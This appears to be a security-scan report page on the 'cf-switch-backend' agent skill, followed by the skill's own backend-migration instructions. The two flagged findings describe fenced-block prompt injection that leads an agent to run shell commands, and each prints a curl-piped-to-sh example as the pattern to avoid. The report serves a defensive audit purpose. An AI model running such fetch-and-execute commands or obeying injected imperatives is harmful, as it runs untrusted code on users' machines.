CategoryWeightCategory scoreContribution

Securityprompt, exec, net, exfil, eval

35%

17.5 pts

Supply chainhash, typosquat, maintainer, lockfile

20%

100

20.0 pts

Maintenancestaleness, pinning, CI

15%

100

15.0 pts

TransparencySKILL.md, perms, README

15%

100

15.0 pts

Communityinstalls, verify, response

15%

100

15.0 pts

Findings & checks · 2 flagged

Securityscore 50 · 2 findings

HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · CHANGELOG.md

HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.

Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted

excerptCHANGELOG.md· markdown

117```bash

118/plugin update contentforge@neels-plugins

119/reload-plugins

120```

121

122If on Cowork / claude.ai / Desktop: Plugins panel → Update.

123

124---

125

Occurrences

1 occurrence · at L117

How to fix

Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.

Delete the imperative ("run this", "execute the following") from inside the fence.
If you must show setup, label the block text (not bash) so it reads as prose, not a command.
Move any real installer into a reviewed, version-pinned script in the repo and link to it.

Avoid

```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```

Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.

Framework references

OWASPLLM01 ATLASAML.T0051

Trace & refs

ruleSS-SKILL-INJECT-FENCED-RUN-01sha256621fed79722d8c0d…rubric 365aacaView on GitHub

HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · README.md

HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.

Why it matters

The exact value spotted

excerptREADME.md· markdown

22```bash

23# Install in Claude Code (CLI or VS Code/JetBrains extension):

24/plugin marketplace add indranilbanerjee/neels-plugins

25/plugin install contentforge@neels-plugins

27# Install in Cowork: use the Plugins panel in the UI -- /plugin slash

28# commands DON'T work in Cowork (or Claude.ai / Claude Desktop).

29# Open Plugins panel -> Add marketplace -> paste indranilbanerjee/neels-plugins

30# -> Install ContentForge from the listed plugins.

Occurrences

1 occurrence · at L22

How to fix

Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.

Delete the imperative ("run this", "execute the following") from inside the fence.
If you must show setup, label the block text (not bash) so it reads as prose, not a command.
Move any real installer into a reviewed, version-pinned script in the repo and link to it.

Avoid

```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```

Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.

Framework references

OWASPLLM01 ATLASAML.T0051

Trace & refs

ruleSS-SKILL-INJECT-FENCED-RUN-01sha2569ffcc27aa7404514…rubric 365aacaView on GitHub

Supply chainscore 100 · 0 findings

✓—All supply chain checks passedNo findings in this category for the latest scan.pass

Maintenancescore 100 · 0 findings

✓—All maintenance checks passedNo findings in this category for the latest scan.pass

Transparencyscore 100 · 0 findings

✓—All transparency checks passedNo findings in this category for the latest scan.pass

Communityscore 100 · 0 findings

✓—All community checks passedNo findings in this category for the latest scan.pass

The primary manifest — the file an agent reads to learn what this artifact does.

skills/cf-switch-backend/SKILL.md · 1 file

skills/cf-switch-backend/SKILL.md5.3 KB · Markdown

name: cf-switch-backend

description: Switch tracking backend (local/airtable/google) with optional data migration

disable-model-invocation: true

argument-hint: "[local | airtable | google] [--migrate]"

effort: high

Switch Tracking Backend

Switch ContentForge's tracking and delivery backend between Google Sheets + Drive, Airtable, or Local filesystem. Optionally migrate existing tracking data and output files to the new backend.

When to Use

Switching from local (default) to a cloud backend for collaboration
Migrating from Google to Airtable (or vice versa) for simpler auth
Downgrading to local when cloud access isn't needed
Checking current backend status before switching

How to Use

/contentforge:switch-backend airtable
/contentforge:switch-backend google
/contentforge:switch-backend local
/contentforge:switch-backend --status

What This Command Does

Step 1: Identify Current Backend

Read the active brand profile's tracking.backend field.

Report current state:

Current backend: local
Records: 47 tracking records
Output files: 42 files in ~/.claude-marketing/{brand}/tracking/outputs/

Step 2: Validate Target Backend

If switching to Airtable:

Check AIRTABLE_TOKEN environment variable exists
If missing, guide through setup:

Go to airtable.com/create/tokens
Create a Personal Access Token with data.records:read and data.records:write scopes
Select the base that will hold tracking data
Set the environment variable: export AIRTABLE_TOKEN=patXXXXXXXX

Ask for the Airtable Base ID (from the base URL: airtable.com/appXXXXXXXXX/...)
Verify access by running:

   python3 {scripts_dir}/airtable-tracker.py --action init --base-id {base_id}

If switching to Google Sheets + Drive:

Check Google credentials at ~/.claude-marketing/google-credentials.json
If missing, guide through setup:

Go to Google Cloud Console > IAM & Admin > Service Accounts
Create a project (or use existing)
Enable Google Sheets API and Google Drive API
Create a Service Account and download the JSON key
Save to ~/.claude-marketing/google-credentials.json
Create a Google Sheet and share it with the service account email (Editor)
Create a Google Drive folder and share it with the service account email (Editor)

Ask for the Google Sheet ID and Drive folder ID
Verify access by running:

   python3 {scripts_dir}/sheets-tracker.py --action init --sheet-id {sheet_id}

If switching to Local:

No setup needed — works immediately
Run init to ensure directory exists:

  python3 {scripts_dir}/local-tracker.py --action init --brand "{brand}"

Step 3: Offer Migration

If the current backend has existing records:

You have 47 tracking records and 42 output files on 'local'.
Would you like to migrate this data to Airtable?
  1. Yes — Copy all records and files to the new backend
  2. No — Start fresh (existing data preserved but not synced)
  3. Skip — Just switch, decide on migration later

If yes, run:

python3 {scripts_dir}/backend-migrator.py --action migrate --brand "{brand}" --from {current} --to {target} [backend-specific args]

Report migration results:

Migration complete:
  Records migrated: 47
  Files migrated: 42
  Files failed: 0
  Source data preserved at: ~/.claude-marketing/{brand}/tracking/

Step 4: Update Brand Profile

Update the brand profile JSON:

Set tracking.backend to the new backend value
Fill in backend-specific config (base_id, sheet_id, folder_id, etc.)

Step 5: Confirm

Backend switched to Airtable.
  New tracking records → Airtable base appXXXXXX
  Output files → Airtable attachment fields
  Previous data preserved at: ~/.claude-marketing/{brand}/tracking/

Run /contentforge:switch-backend --status to verify anytime.

Backend Comparison

Factor	Google Sheets + Drive	Airtable	Local
Auth setup	Service account (~5 min)	Personal token (~2 min)	None
Tracking	Google Sheets	Airtable records	JSON file
File delivery	Google Drive	Attachment field	Local filesystem
Collaboration	Share via Google	Share via Airtable	Single user
Free tier	15GB Drive	1,000 records + 10GB	Unlimited
Offline	No	No	Yes

Check Status

Run with --status flag to check current backend health:

/contentforge:switch-backend --status

This runs:

python3 {scripts_dir}/backend-migrator.py --action status --brand "{brand}" --from {current_backend}

Important Notes

Migration is additive — source data is never deleted
Migration is idempotent — running twice won't create duplicates
Migration is resumable — if interrupted, re-run picks up where it left off
You can switch back anytime — data is preserved on all backends you've used
The pipeline uses whichever backend is set in tracking.backend — switching takes effect immediately for the next content run

[/contentforge:style-guide](../cf-style-guide/SKILL.md) — Brand setup (Step G sets initial backend)
[/contentforge:integrations](../cf-integrations/SKILL.md) — Check all connector status
[/contentforge:connect](../cf-connect/SKILL.md) — Set up individual connectors

cf-switch-backend— agent skill

Is cf-switch-backend safe to install?

Switch Tracking Backend

When to Use

How to Use

What This Command Does

Step 1: Identify Current Backend

Step 2: Validate Target Backend

Step 3: Offer Migration

Step 4: Update Brand Profile

Step 5: Confirm

Backend Comparison

Check Status

Important Notes

Audit the pieces. Scan the whole. Decide.

Is cf-switch-backend safe to install?

Switch Tracking Backend

When to Use

How to Use

What This Command Does

Step 1: Identify Current Backend

Step 2: Validate Target Backend

Step 3: Offer Migration

Step 4: Update Brand Profile

Step 5: Confirm

Backend Comparison

Check Status

Important Notes

Related Skills

Audit the pieces. Scan the whole. Decide.